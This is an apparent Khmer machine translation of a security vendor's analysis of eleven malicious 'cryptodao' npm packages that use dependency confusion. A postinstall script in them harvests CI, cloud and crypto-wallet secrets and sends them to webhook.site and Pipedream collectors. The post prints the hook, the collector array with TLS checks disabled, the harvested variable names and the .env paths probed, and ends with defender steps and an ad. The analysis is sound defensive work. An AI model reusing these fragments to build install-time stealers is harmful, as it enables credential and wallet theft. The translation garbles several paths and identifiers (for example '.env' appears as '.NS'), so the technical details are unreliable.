ការភាន់ច្រឡំ CryptoDAO៖ ការប្រមូលផលកញ្ចប់ npm CI/CD និងអាថ៌កំបាំងគ្រីបតូ

ភាពច្របូកច្របល់ CryptoDAO៖ កញ្ចប់ npm ចំនួនដប់មួយ បន្ទុកមួយ ការប្រមូលផល CI/CD និងអាថ៌កំបាំងនៃកាបូបលុយគ្រីបតូ

​មាតិកា

ប្រកាសដែលត្រូវតែអាន

ប្រកាសថ្មីៗបំផុតដែលគួរឱ្យចាប់អារម្មណ៍

TL; កុង

នៅថ្ងៃទី 17 ខែមិថុនា ឆ្នាំ 2026 គណនី npm តែមួយត្រូវបានបោះពុម្ពផ្សាយ កញ្ចប់ចំនួនដប់មួយដែលមានគោលបំណងតែមួយ និងបន្ទុកតែមួយក្នុងចំណោមពួកគេដប់នាក់កាន់ cryptodao- បុព្វបទ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ទីដប់មួយគឺជាវិសាលភាព @public-for-cdao/coreរាល់​ឯកសារ​ទាំងអស់​ត្រូវ​បាន​បោះពុម្ព​ផ្សាយ​នៅ​ក្នុង​កំណែ 99.99.99 និងបញ្ជូនបៃដូចគ្នា recon.js ដែលដំណើរការ postinstall.

ឈ្មោះ​គឺជា​ការ​បញ្ជាក់។ ពួកវា​អាន​ដូចជា​ប្លុក​សំណង់​ខាងក្នុង​នៃ​ឧបករណ៍​ឯកជន​របស់​គម្រោង​គ្រីបតូ/DAO។ បាន​បោះពុម្ពផ្សាយ​ទៅកាន់​បញ្ជីឈ្មោះ npm សាធារណៈ​ក្នុង​កំណែ​ខ្ពស់​សិប្បនិម្មិត ពួកគេ​អង្គុយ​រង់ចាំ​ការ​សាងសង់។ pipeline ដែលត្រូវបានកំណត់រចនាសម្ព័ន្ធដើម្បីដោះស្រាយឈ្មោះទាំងនោះ ហើយដែលទៅដល់ npm សាធារណៈមុន — ឬជំនួសឲ្យ — ការចុះឈ្មោះឯកជន។ នេះគឺ ភាពច្របូកច្របល់នៃការពឹងផ្អែកហើយបន្ទុកត្រូវបានលៃតម្រូវសម្រាប់កន្លែងដែលវារំពឹងថានឹងចុះចត៖ CI/CD រត់.

ពេលណា​ postinstall ភ្លើងឆេះ recon.js ប្រមូលព័ត៌មានលម្អិតរបស់ម្ចាស់ផ្ទះ បោសសម្អាតយ៉ាងរដុប អថេរបរិស្ថានចំនួនសែសិបសម្រាប់ពពក CI និងកាបូបគ្រីបតូ, អាន​ណាមួយ .env ឯកសារដែលវាអាចស្វែងរក និងបញ្ជូនបន្តបន្ទាត់ដែលមានសម្ងាត់តាមពាក្យសំដី បន្ទាប់មកបញ្ជូនបាច់ទៅអ្នកប្រមូលពីរនាក់ — webhook.site និងចំណុចបញ្ចប់ Pipedream — ដោយបិទការផ្ទៀងផ្ទាត់វិញ្ញាបនបត្រ TLS។ ច្បាប់ចម្លងមួយក៏ត្រូវបានសរសេរនៅក្រោម /tmp.

ភាពធ្ងន់ធ្ងរ៖ ខ្ពស់ប្រព័ន្ធអេកូឡូស៊ីដែលរងផលប៉ះពាល់៖ ម៉ោងងងកញ្ចប់ទាំង ១១ ត្រូវបានចេញផ្សាយនៅពេលសរសេរនេះ។

កាយវិភាគសាស្ត្រវាយប្រហារ

យន្តការនេះមានផ្នែកដែលមានចលនាចំនួនបួន ហើយគ្មានផ្នែកណាមួយដែលមានលក្ខណៈស្រទន់នោះទេ នៅពេលដែលអ្នកដឹងពីរបៀបធ្វើវា។ មើល​មួយស្រទាប់​ហួសពីឈ្មោះកញ្ចប់។

១. ការបំប៉ោងកំណែជាឧបករណ៍ទាក់ទាញដំណោះស្រាយ។ កញ្ចប់នីមួយៗប្រកាសពីកំណែ 99.99.99ការភាន់ច្រឡំ​នៃ​ការពឹងផ្អែក​ដំណើរការ​នៅពេល​ដែល​កម្មវិធី​គ្រប់គ្រង​កញ្ចប់​បាន​ស្នើសុំ​ ឈ្មោះផ្ទៃក្នុង ក៏ពិនិត្យមើលបញ្ជីឈ្មោះសាធារណៈ និងជ្រើសរើសកំណែខ្ពស់បំផុតរបស់វាផងដែរ។ រកឃើញ។ ការជ្រើសរើសលំនាំដើមរបស់ npm សម្រាប់ជួរ caret ឬ wildcard គឺ កំណែដែលពេញចិត្តបំផុតនៅទូទាំងប្រភពដែលបានកំណត់រចនាសម្ព័ន្ធនីមួយៗ; ប្រសិនបើទាំងឯកជន registry និង public npm ឆ្លើយ​សម្រាប់​ឈ្មោះ​ដូចគ្នា លេខ​កំណែ​ធំ​ជាង​ឈ្នះ។ A 99.99.99 លើសពីកំណែផ្ទៃក្នុងពិតប្រាកដណាមួយដែលគម្រោងនឹងមាន បាន​ដល់​ចំណុច​កំណត់ ដូច្នេះ​ឧបករណ៍​ដោះស្រាយ​ដែល​មិន​ត្រូវ​បាន​ខ្ទាស់​ទៅ​នឹង​ប្រភព​ឯកជន​ចូលចិត្ត សាធារណៈ — ហើយក្នុងករណីនេះ ជាការចម្លងអរិភាព។ ប្រតិបត្តិករមិនចាំបាច់ដឹងទេ លេខកំណែពិតរបស់គោលដៅ; ការជ្រើសរើសអតិបរមាដែលមិនសមហេតុផលធានាថានឹងស្មើគ្នាជានិច្ច បំបែកផ្លូវរបស់ពួកគេ។

2. ឧបករណ៍​បង្ក​ឲ្យ​មាន​ប្រតិកម្ម​ក្រោយ​ការ​ដំឡើង។ កញ្ចប់ ភ្ជាប់ខ្សែបន្ទុកទៅនឹងការដំឡើង វដ្តជីវិត៖

{   "scripts": { "postinstall": "node recon.js" } }

មិនតម្រូវឱ្យនាំចូលកញ្ចប់នោះទេ។ គ្រាន់តែដំឡើងវា — ដែលជា CI pipeline ធ្វើដោយស្វ័យប្រវត្តិ - ដំណើរការ recon.js.

៣. ការ​ស៊ើបការណ៍​សម្ងាត់​យ៉ាង​ទូលំទូលាយ។ recon.js ចងក្រងអារេលទ្ធផលជាដំណាក់កាល៖

  • បរិបទម៉ាស៊ីន៖ ឈ្មោះម៉ាស៊ីន វេទិកា និងការចេញផ្សាយ ស្ថាបត្យកម្ម ឈ្មោះអ្នកប្រើប្រាស់ ដំណើរការ ថត។
  • អថេរបរិស្ថាន៖ វាធ្វើម្តងទៀតនូវបញ្ជីថេរនៃឈ្មោះ និងកំណត់ត្រាប្រហែលសែសិប។ ណាមួយដែលត្រូវបានកំណត់។ បញ្ជីនេះកំពុងបង្ហាញឱ្យឃើញ — វាផ្គូផ្គងសញ្ញាសម្ងាត់ CI ទូទៅ (CI_JOB_TOKEN, លេខសម្ងាត់_ចុះបញ្ជី_CI, GITLAB_ACCESS_TOKEN) និងពពក លិខិតសម្គាល់ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ជាមួយ​នឹង​ការ​សម្ងាត់​នៃ​ការ​ចុះបញ្ជី និង​កុងតឺន័រ (NPM_TOKEN, ពាក្យសម្ងាត់ DOCKER, ពាក្យសម្ងាត់ HARBOR) និងចង្កោមដែលមានរសជាតិគ្រីបតូយ៉ាងច្បាស់៖  កូនសោឯកជន, ការចងចាំ, ឃ្លាគ្រាប់ពូជ, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC។ តម្លៃដែលបានកត់ត្រាត្រូវបានកាត់ឱ្យខ្លីមកត្រឹម 50 តួអក្សរដំបូង។
  • .NS ឯកសារ៖ វាស៊ើបអង្កេតបញ្ជីផ្លូវ — .NS, ../.env, /កម្មវិធី/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, និង .ផលិតកម្ម/ការអភិវឌ្ឍ វ៉ារ្យ៉ង់ — ហើយសម្រាប់ឯកសារណាមួយដែលមាន វា ត្រងមាតិកាទៅបន្ទាត់ដែលត្រូវគ្នា សោ | សម្ងាត់ | ថូខឹន | លេខសម្ងាត់ | ឯកជន | ជំនួយការចងចាំ ហើយ​រុញ​បន្ទាត់​ទាំងនោះ **ទាំងស្រុង ដោយ​មិន​កាត់​ខ្លី** ទៅក្នុង​លទ្ធផល។
  • បរិបទ Build-host៖ វារាយបញ្ជីធាតុ 20 ដំបូងនៃ /សាងសង់/, /ទំព័រដើម/gitlab-runner/builds/, /var/lib/gitlab-runner/និង / tmp /.

បញ្ជីផ្លូវ និងបញ្ជីអថេរត្រូវបានថ្លឹងថ្លែងឆ្ពោះទៅរកអ្នករត់ GitLab ដែលចង្អុលទៅ បន្ទុកបន្ទុកស្ថិតនៅលើហេដ្ឋារចនាសម្ព័ន្ធ CI ដែលបង្ហោះដោយខ្លួនឯងជាជាងអ្នកអភិវឌ្ឍន៍ កុំព្យូទ័រយួរដៃ។ ការដាក់ជាក្រុមបញ្ជីប្រមូលផលតាមប្រភេទធ្វើឱ្យការដឹកជញ្ជូនដែលគ្រោងទុកមានលក្ខណៈសាមញ្ញ៖

ប្រភេទ អថេរ / ផ្លូវដែលបានទៅដល់
CI/CD អត្តសញ្ញាណ និងដាក់ពង្រាយ CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
បញ្ជីឈ្មោះ និងកុងតឺន័រ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
កន្លែងផ្ទុកទិន្នន័យ DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
គ្រីបតូ / ប្លុកឆេន PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
ការផ្ញើសារ SLACK_TOKEN, DISCORD_TOKEN
នៅលើថាស .env គ្រួសារ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; បញ្ជី​ថត​នៃ /builds/, /var/lib/gitlab-runner/

ចង្កោមគ្រីបតូគឺជាផ្នែកដែលសម្គាល់វាពី CI-secret ទូទៅ។ sweep: ឃ្លាគ្រាប់ពូជកាបូប និងកូនសោចុះហត្ថលេខាលេចឡើងតែនៅក្នុងបរិស្ថាននៃ គម្រោង blockchain ហើយពួកគេភ្ជាប់ដោយផ្ទាល់ទៅលើ គ្រីបតូដាវ-/សញ្ញា/កិច្ចសន្យា។ ការដាក់ឈ្មោះក្រុមហ៊ុនដឹកជញ្ជូន។

៤. ការច្រោះចេញពីរដងជាមួយនឹងការផ្ទៀងផ្ទាត់ត្រូវបានបិទ។ អារេដែលប្រមូលបានគឺ បានធ្វើស៊េរី និងបង្ហោះទៅកាន់គោលដៅពីរ៖

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

បដិសេធគ្មានការអនុញ្ញាត៖ មិនពិត បិទការត្រួតពិនិត្យវិញ្ញាបនបត្រ TLS សម្រាប់ឯកសារចេញ ការហៅទូរសព្ទ។ ទិន្នន័យដូចគ្នាត្រូវបានបោះពុម្ពទៅ stdout (ដូច្នេះវាក៏ធ្លាក់ចូលទៅក្នុងកំណត់ហេតុការងារ CI ផងដែរ) និង សរសេរទៅ /tmp/.npm_recon_ .jsonកំហុសត្រូវបានលេបចូលដោយស្ងៀមស្ងាត់ ដូច្នេះ ការផ្ញើបរាជ័យមិនបន្សល់ទុកដាននៅក្នុងលទ្ធផលដំឡើងលើសពីមួយ [ពិនិត្យឡើងវិញ] បានដំឡើងនៅលើ បន្ទាត់។

មតិយោបល់ឈានមុខគេនៅក្នុងឯកសារពិពណ៌នាវាថាជា "ភាពច្របូកច្របល់នៃការពឹងផ្អែក" បន្ទុក​ស៊ើបការណ៍​សម្ងាត់។” ការ​កាត់​បន្ថយ​តម្លៃ​បរិស្ថាន​មក​ត្រឹម 50 តួអក្សរ​មាន រូបរាងនៃភស្តុតាងនៃគំនិត។ អ្វីដែលផ្លាស់ទីវាឆ្លងកាត់សញ្ញាសម្គាល់វត្តមានតែប៉ុណ្ណោះគឺ .NS ការដោះស្រាយ៖ ខ្សែរថភ្លើងដែលមានការសម្ងាត់ត្រូវបានបញ្ជូនបន្តពេញលេញ ហើយគោលដៅ គឺជាឧបករណ៍ប្រមូលទិន្នន័យពីរដែលដំណើរការ និងគ្រប់គ្រងដោយអ្នកវាយប្រហារ ជាជាងអាងលិចដែលរាប់បញ្ចូលតែឧបករណ៍ប្រមូលទិន្នន័យប៉ុណ្ណោះ ទស្សនា។

ការកំណត់ពេលវេលា

គំរូបោះពុម្ពផ្សាយគឺជាហត្ថលេខានៃការរុញច្រានដែលមានស្គ្រីបតែមួយ មិនមែនដប់មួយទេ ការផ្ទុកឡើងឯករាជ្យ។

ពេលវេលា (UTC, 2026-06-17) ព្រឹត្តការណ៍
03:24:58 cryptodao-bot@99.99.99 បោះពុម្ភ
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — វ៉ារ្យ៉ង់​ដែល​មាន​វិសាលភាព ~២៤ នាទី​ក្រោយ

កញ្ចប់ចំនួនដប់ត្រូវបានចេញក្នុងរយៈពេល 29 វិនាទី ប្រហែលមួយរៀងរាល់បីវិនាទីម្តង។ វិសាលភាពដែលបានកំណត់ @សាធារណៈ-សម្រាប់-ស៊ីដាវ/ស្នូល បានតាមដានប្រហែល 24 នាទីបន្ទាប់ពី - មួយវិនាទី អនុសញ្ញាដាក់ឈ្មោះសម្រាប់គោលដៅដូចគ្នា ក្នុងករណីដែលគម្រោងប្រើប្រាស់យោងទៅលើ ខ្សែសង្វាក់ឧបករណ៍ខាងក្នុងក្រោមវិសាលភាពជាជាងឈ្មោះទទេ។

សូចនាករនៃការសម្របសម្រួល

វាយបញ្ចូល ទ្រនិចបង្ហាញ
ប្រមូល hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
ប្រមូល hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
ដំឡើងទំពក់ postinstall: node recon.js
ឯកសារដែលបានទម្លាក់ចោល /tmp/.npm_recon_<timestamp>.json
សញ្ញាសម្គាល់កំណត់ហេតុ [recon] <pkg>@<ver> installed on <hostname> (stdout នៅក្នុងកំណត់ហេតុ CI)
ឥរិយាបថ rejectUnauthorized: false នៅលើ HTTPS ចេញអំឡុងពេលដំឡើង
បន្ទុក recon.jsដូចគ្នាបេះបិទនៅទូទាំងកញ្ចប់ទាំងដប់មួយ (ការបង្កើតដែលបានចែករំលែកមួយ)
កំណែ 99.99.99 នៅលើកញ្ចប់នីមួយៗ
កញ្ចប់ cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ទាំងអស់ 99.99.99)
បោះពុម្ពផ្សាយ aduljune / aduljune@proton.me (អ៊ីមែលមិនទាន់បានផ្ទៀងផ្ទាត់ គ្មានឃ្លាំងប្រភពដែលបានភ្ជាប់)

 ការសន្មត់ និងឥរិយាបថដែលសង្កេតឃើញ

អ្វីគ្រប់យ៉ាងអំពីចង្កោមចង្អុលទៅដៃម្ខាង។ កញ្ចប់ទាំងដប់មួយត្រូវបានបោះពុម្ពផ្សាយ ដោយគណនី npm អាឌុលជូន (aduljune@proton.meអាសយដ្ឋានដែលមិនទាន់បានផ្ទៀងផ្ទាត់ ដែលគ្មាន ឃ្លាំងប្រភពដែលភ្ជាប់) ក្នុងរយៈពេល 25 នាទី ក្នុងពេលតែមួយ 99.99.99 កំណែ, ការដឹកជញ្ជូនមួយ recon.js ដែលមាតិការបស់វាដូចគ្នាបេះបិទទៅនឹងបៃនីមួយៗ កញ្ចប់ (MD5 ផ្គូផ្គងលើច្បាប់ចម្លងដែលបានស្រង់ចេញទាំងដប់មួយ)។ នោះគឺជាបន្ទុកមួយ។ បោះត្រាលើបញ្ជីឈ្មោះ មិនមែនប្រើកូដឡើងវិញដោយឯករាជ្យទេ។

បញ្ជីឈ្មោះកំណត់គោលដៅដែលបានគ្រោងទុក។ គ្រីបតូដាវ-* និង ស៊ីដា ពិពណ៌នាអំពី ប្លង់ម៉ូឌុលឯកជននៃគម្រោងគ្រីបតូ/DAO និងបញ្ជីប្រមូលផលរបស់ payload កញ្ចក់ដែលទាយ៖ រួមជាមួយនឹង CI ទូទៅ និងអាថ៌កំបាំងពពក វាជាពិសេស ឈានដល់ កូនសោឯកជន, ការចងចាំ, ឃ្លាគ្រាប់ពូជនិង Ethereum/BSC RPC និង កូនសោអ្នកផ្តល់សេវា។ .NS ផ្លូវស្វែងរក និងបញ្ជីថតឯកសារគឺជា GitLab-runner ជាក់លាក់។ ផលប៉ះពាល់ដែលអាចសង្កេតឃើញគឺថា pipeline ត្រូវបានបោកបញ្ឆោតឱ្យដំឡើងទាំងនេះ ឈ្មោះនឹងបញ្ជូនបន្តថូខឹន CI របស់វា កូនសោពពក និងនៅលើថាស .NS អាថ៌កំបាំង - និងសម្រាប់ គម្រោង blockchain សម្ភារៈកាបូបរបស់វា — ទៅកាន់អ្នកប្រមូលភាគីទីបីពីរនាក់។

យើងមិនធ្វើការអះអាងអំពីអ្នកណាដែលដំណើរការគណនី ឬអ្វីដែលពួកគេមានគម្រោងធ្វើជាមួយនោះទេ។ ទិន្នន័យ។ ការពិតដែលឈរដោយខ្លួនឯង៖ ឈ្មោះទាំងនោះផ្តោតលើប្រភេទជាក់លាក់មួយនៃ ឧបករណ៍​ខាងក្នុង បន្ទុក​ផ្ទុក​ទិន្នន័យ​អាន និង​បញ្ជូន​តម្លៃ​សម្ងាត់​ពិតប្រាកដ និង infrastructure បានផ្សាយបន្តផ្ទាល់។

ផលប៉ះពាល់ និន្នាការ និងការណែនាំរបស់អ្នកការពារ

ភាពច្របូកច្របល់នៃភាពអាស្រ័យ នៅតែមានប្រសិទ្ធភាពព្រោះវាកេងប្រវ័ញ្ចឥរិយាបថអ្នកដោះស្រាយ មិនមែនជា ភាពងាយរងគ្រោះនៅក្នុងកញ្ចប់ណាមួយ។ ក្រុមហ៊ុនដឹកជញ្ជូននៅទីនេះគឺសាមញ្ញ - ដប់មួយស្ទើរតែទទេ កញ្ចប់ — ប៉ុន្តែកាំផ្ទុះគឺជាអ្វីក៏ដោយ pipeline ច្រឡំ​ចូលចិត្ត npm សាធារណៈ សម្រាប់ឈ្មោះផ្ទៃក្នុង។ អ្នករត់ CI គឺជាកន្លែងអាក្រក់បំផុតសម្រាប់រឿងនោះកើតឡើង៖ ពួកគេកាន់ យ៉ាងពិតប្រាកដនូវសញ្ញាសម្គាល់ និង .NS ឯកសារ payload នេះអាន ហើយពួកគេដំឡើង ភាពអាស្រ័យមិនមានអន្តរកម្មទេ ដូច្នេះ a ក្រោយការដំឡើង រត់ដោយគ្មានអ្នកណាមើល។

ចង្កោមនេះក៏សមនឹងគំរូដែលយើងឃើញជានិច្ច៖ បន្ទុកពេលវេលាដំឡើងដែលបង្ហាញ ជា “ការស្រាវជ្រាវ” ឬ “ការឈ្លបយកការណ៍” ខណៈពេលកំពុងធ្វើការប្រមូលព័ត៌មានបញ្ជាក់អត្តសញ្ញាណពិតប្រាកដ។ ស្លាក នៅក្នុងឯកសារមិនផ្លាស់ប្តូរអ្វីដែលកូដធ្វើនៅលើកម្មវិធីរត់ទេ។ ជម្រើសរចនាពីររក្សា សកម្មភាពស្ងាត់៖ រាល់ប្រតិបត្តិការបណ្តាញ និងប្រព័ន្ធឯកសារត្រូវបានរុំព័ទ្ធក្នុង កម្មវិធីដោះស្រាយករណីលើកលែងដែលលុបចោលកំហុស ដូច្នេះការផ្ញើត្រូវបានរារាំង ឬឯកសារបាត់ មិនបង្កើតលទ្ធផលវិនិច្ឆ័យទេ ហើយរឿងតែមួយគត់ដែលបានបោះពុម្ពគឺជារឿងគ្មានគ្រោះថ្នាក់តែមួយ [បញ្ជាក់] … បានដំឡើងហើយ ខ្សែដែលលាយបញ្ចូលគ្នាទៅនឹងការជជែកគ្នាដំឡើងធម្មតា។ ការប្រើប្រាស់ គេហទំព័រ webhook ហើយ Pipedream ក៏ជាភាពងាយស្រួលដោយចេតនាផងដែរ - ទាំងពីរគឺឥតគិតថ្លៃ ផ្តល់ជូនសេវាកម្មចាប់យកសំណើភ្លាមៗ ដូច្នេះប្រតិបត្តិករមិនត្រូវការម៉ាស៊ីនមេនៃ របស់ពួកគេផ្ទាល់ និងគោលដៅមើលទៅដូចជាឈ្មោះម៉ាស៊ីន SaaS ធម្មតានៅក្នុងកំណត់ហេតុចាកចេញ។

សេដ្ឋកិច្ចគឺជាអ្វីដែលធ្វើឱ្យរឿងនេះសមនឹងទទួលបានការយកចិត្តទុកដាក់ពីអ្នកការពារទោះបីជា លេខកូដក្រុមហ៊ុនដឹកជញ្ជូនគឺសាមញ្ញណាស់។ ការចុះឈ្មោះឈ្មោះចំនួនដប់មួយមិនគិតថ្លៃទេ បន្ទុកគឺមួយ។ ឯកសារត្រូវបានចម្លងចំនួនដប់មួយដង ហើយកម្មវិធីគ្រប់គ្រងកញ្ចប់ធ្វើការប្រតិបត្តិទាំងអស់។ តែមួយ បានកំណត់រចនាសម្ព័ន្ធខុស pipeline កន្លែងណាដែលប្រើប្រាស់ឈ្មោះមួយក្នុងចំណោមឈ្មោះទាំងនេះ នឹងត្រូវចំណាយសម្រាប់ឈ្មោះទាំងមូល ប្រតិបត្តិការ។

ជំហានជាក់ស្តែងសម្រាប់អ្នកការពារ៖

  • ភ្ជាប់​វិសាលភាព​ខាងក្នុង​ទៅ​ក្នុង​បញ្ជី​ឯកជន​របស់​អ្នក។ កំណត់រចនាសម្ព័ន្ធ npm so ឈ្មោះខាងក្នុង
     និង scopes ដោះស្រាយតែប្រឆាំងនឹង registry របស់អ្នក (scoped .npmrc registry mappings,
    ឬប្រូកស៊ីដែលមិនដែលធ្លាក់ទៅ npm សាធារណៈសម្រាប់ namespaces ដែលជាម្ចាស់)។ សូមរក្សាទុកឈ្មោះវិសាលភាពសាធារណៈរបស់អ្នក ដើម្បីកុំឱ្យអ្នកផ្សេងអាចចុះឈ្មោះវាបាន។
  • Commit lockfiles ហើយដំឡើងជាមួយ –ignore-scripts នៅក្នុង CI កន្លែងដែលអាចធ្វើទៅបាន ឬ ពិនិត្យ​សំណុំ​នៃ​ភាពអាស្រ័យ​តូចៗ​ដែល​ពិតជា​ត្រូវការ​ស្គ្រីប​ដំឡើង។  recon.js មិនអាចដំណើរការបានទេប្រសិនបើ ក្រោយការដំឡើង មិនត្រូវបានប្រតិបត្តិទេ។
  • ចាត់ទុកកំណែ 99.99.99 (ឬកំណែខ្ពស់មិនសមហេតុផលផ្សេងទៀត) នៃឈ្មោះដែលមើលទៅខាងក្នុង ជាទង់ក្រហម ក្នុងការពិនិត្យឡើងវិញនូវភាពអាស្រ័យ និងការត្រួតពិនិត្យបញ្ជីឈ្មោះ។
  • ការជូនដំណឹងអំពីការចាកចេញនៅពេលដំឡើង។ A ក្រោយការដំឡើង ដែលបើក HTTPS ចេញ ការតភ្ជាប់ — ជាពិសេសជាមួយនឹងការផ្ទៀងផ្ទាត់វិញ្ញាបនបត្រដែលបានបិទ — ទៅ webhook.site, Pipedream ឬសេវាកម្មចាប់យកសំណើស្រដៀងគ្នានេះ គឺមានតម្លៃក្នុងការរារាំងនៅគែមបណ្តាញ និងដាក់ទង់នៅក្នុងកំណត់ហេតុសាងសង់។
  • បរបាញ់សម្រាប់វត្ថុបុរាណ។ ពិនិត្យមើលអ្នករត់ប្រណាំង /tmp/.npm_recon_*.json និងសម្រាប់ [recon] … បានដំឡើងនៅលើ … សញ្ញាសម្គាល់នៅក្នុងកំណត់ហេតុ CI ថ្មីៗ។ ប្រសិនបើរកឃើញ សូមបង្វិលរៀងរាល់ លិខិតបញ្ជាក់ដែលប៉ះពាល់នឹងរឿងនោះ pipeline — ថូខឹន CI, កូនសោពពក, ថូខឹនចុះបញ្ជី និងគ្រាប់ពូជកាបូប ឬកូនសោឯកជនណាមួយដែលមាននៅក្នុងបរិស្ថាន ឬឯកសារ .env។

ឯកសារយោង

មិនមានរបាយការណ៍ខាងក្រៅលើចង្កោមនេះនៅពេលសរសេរនេះទេ។ ការវិភាគ ខាងលើគឺផ្អែកលើខ្លឹមសារកញ្ចប់ដែលបានបោះពុម្ពផ្សាយដោយផ្ទាល់

ឧបករណ៍វិភាគសមាសភាពកម្មវិធី sca
ផ្តល់អាទិភាព ដោះស្រាយ និងធានាសុវត្ថិភាពហានិភ័យផ្នែកទន់របស់អ្នក
ទទួលបានគណនីឥតគិតថ្លៃរបស់អ្នក។
មិនតម្រូវឱ្យមានកាតឥណទានទេ។

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni